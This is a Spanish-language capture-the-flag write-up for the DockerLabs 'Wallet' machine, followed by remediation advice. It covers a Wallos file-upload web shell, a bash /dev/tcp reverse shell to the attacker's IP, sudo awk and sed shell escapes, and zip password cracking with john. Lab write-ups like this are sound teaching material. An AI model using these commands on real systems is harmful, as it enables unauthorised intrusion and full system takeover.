Ir al contenido

Wallet

Este documento presenta la resolución completa de la máquina Wallet, desarrollada por Pylon & El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media.

El laboratorio expone una aplicación web vulnerable que utiliza una versión específica del gestor Wallos, la cual presenta una vulnerabilidad de carga arbitraria de archivos que permite el despliegue de una web shell. A partir de esta, se obtiene ejecución remota de comandos como el usuario www-data.

Tras el acceso inicial, se encadenan múltiples configuraciones inseguras de sudo, permitiendo la ejecución de binarios como otros usuarios sin autenticación adicional, lo que facilita una escalada de privilegios progresiva hasta obtener acceso completo como root.

Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.


AtributoValor
NombreWallet
AutorPylon & El Pingüino de Mario
DificultadMedio
Fecha12/07/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip Wallet.zip
sudo bash auto_deploy.sh Wallet.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

IP asignada

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

Ventana de terminal
mkdir -p Wallet/{content,exploits,nmap,scripts}
cd Wallet

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado muestra los siguientes servicios accesibles externamente:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Al acceder al servicio web, se identifica un dominio virtual utilizado por la aplicación:

panel.wallet.dl

Por lo tanto, se agrega la entrada correspondiente al archivo /etc/hosts.

Se procede a realizar fuzzing de rutas y archivos:

Ventana de terminal
feroxbuster -u http://panel.wallet.dl \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

feroxbuster result

Durante la enumeración se identifican los siguientes recursos relevantes:

  • login.php Redirige automáticamente al formulario de autenticación.

  • about.php Contiene información sensible, incluyendo la versión exacta de Wallos.

about content


Con la versión identificada, se realiza una búsqueda en searchsploit, encontrando una vulnerabilidad relacionada con carga arbitraria de archivos:

searchsploit vuln

El exploit requiere:

  1. Crear una cuenta válida.
  2. Añadir una suscripción.
  3. Manipular la subida del logo para cargar una web shell, alterando el Content-Type.

Ejemplo de modificación de la petición:

Content-Type: image/jpeg
GIF89a;

A continuación, se inserta el código de la web shell.

El archivo queda accesible en la siguiente ruta:

http://panel.wallet.dl/images/uploads/logos/

logo uploads

Se prueba la ejecución con el comando id:

test id

Tras confirmar la ejecución de comandos, se establece una reverse shell. Primero se inicia el listener:

Ventana de terminal
nc -nlvp 443

Luego se ejecuta el payload desde la web shell:

Ventana de terminal
bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"

Conexión establecida exitosamente:

reverse shell


Se listan los privilegios disponibles:

sudo -l

El usuario www-data puede ejecutar awk como el usuario pylon. Se abusa de esta configuración para obtener una shell:

Ventana de terminal
sudo -u pylon awk 'BEGIN {system("/bin/bash")}'

Acceso obtenido como pylon:

pylon user


En el directorio home se encuentra el archivo:

secretitotraviesito.zip

test unzip

Al estar protegido por contraseña, se extrae el archivo utilizando base64:

Ventana de terminal
base64 secretitotraviesito.zip

En la máquina atacante:

Ventana de terminal
echo "base64 chain" > temp
cat temp | base64 -d | tee secretitotraviesito.zip

Se crackea la contraseña con john:

Ventana de terminal
zip2john secretitotraviesito.zip | tee hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

john result

El archivo notitachingona.txt contiene las credenciales del usuario pinguino, permitiendo el cambio de usuario:

su pinguino


Se revisan los privilegios sudo:

sudo -l

El usuario puede ejecutar sed como root. Se explota esta configuración para obtener una shell privilegiada:

Ventana de terminal
sudo sed -n '1e exec bash 1>&0' /etc/hosts

Acceso como root obtenido:

root user


VulnerabilidadSeveridadImpacto
Carga arbitraria de archivos en WallosCríticaEjecución remota de comandos
Exposición de versión del softwareMediaExplotación dirigida
Uso de web shells sin validaciónCríticaCompromiso inicial del sistema
Configuraciones inseguras de sudoCríticaEscalada de privilegios
Almacenamiento inseguro de credencialesAltaCompromiso de múltiples usuarios

  • Restringir la carga de archivos y validar correctamente el tipo MIME.
  • Evitar la exposición de versiones de software en producción.
  • Aplicar el principio de mínimo privilegio en configuraciones sudo.
  • Proteger archivos sensibles y evitar reutilización de credenciales.
  • Auditar periódicamente servicios web y configuraciones del sistema.